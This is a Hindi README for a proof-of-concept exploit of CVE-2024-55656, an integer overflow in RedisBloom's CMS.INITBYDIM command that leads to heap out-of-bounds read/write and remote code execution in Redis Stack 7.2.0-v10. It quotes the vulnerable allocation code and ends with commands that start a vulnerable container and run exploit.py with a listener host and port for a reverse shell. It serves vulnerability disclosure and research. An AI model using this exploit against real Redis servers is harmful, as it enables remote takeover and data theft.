
CVE-2024-55656 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, RedisBloom में एक पूर्णांक अतिप्रवाह जो हीप-आधारित OOB रीड/राइट और Redis Stack 7.2.0-v10 में रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।
RedisBloom (https://github.com/RedisBloom/RedisBloom) में एक पूर्णांक अतिप्रवाह भेद्यता है, जो redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/) में उपयोग किया जाने वाला एक मॉड्यूल है। यह पूर्णांक अतिप्रवाह भेद्यता एक हमलावर (एक redis क्लाइंट जो पासवर्ड जानता है) को रैपअराउंड के कारण आवश्यक मेमोरी से कम हीप मेमोरी आवंटित करने की अनुमति देती है। फिर इस आवंटित मेमोरी से परे पढ़ा और लिखा जा सकता है, जिससे जानकारी लीक और OOB लिखना होता है।
पूर्णांक अतिप्रवाह CMS.INITBYDIM कमांड में है, जो उपयोगकर्ता द्वारा निर्दिष्ट आयामों के लिए काउंट-मिन स्केच प्रारंभ करता है। यह दो मान (width और depth) स्वीकार करता है और NewCMSketch() में मेमोरी आवंटित करने के लिए उनका उपयोग करता है।
फ़ाइल: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
OOB पढ़ना CMS_Query() में कार्यान्वित CMS.QUERY कमांड के माध्यम से प्राप्त किया जाता है।
OOB लिखना CMS_IncrBy() में कार्यान्वित CMS.INCRBY कमांड के माध्यम से प्राप्त किया जाता है।
पूर्ण विश्लेषण के लिए सलाहकार देखें।
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444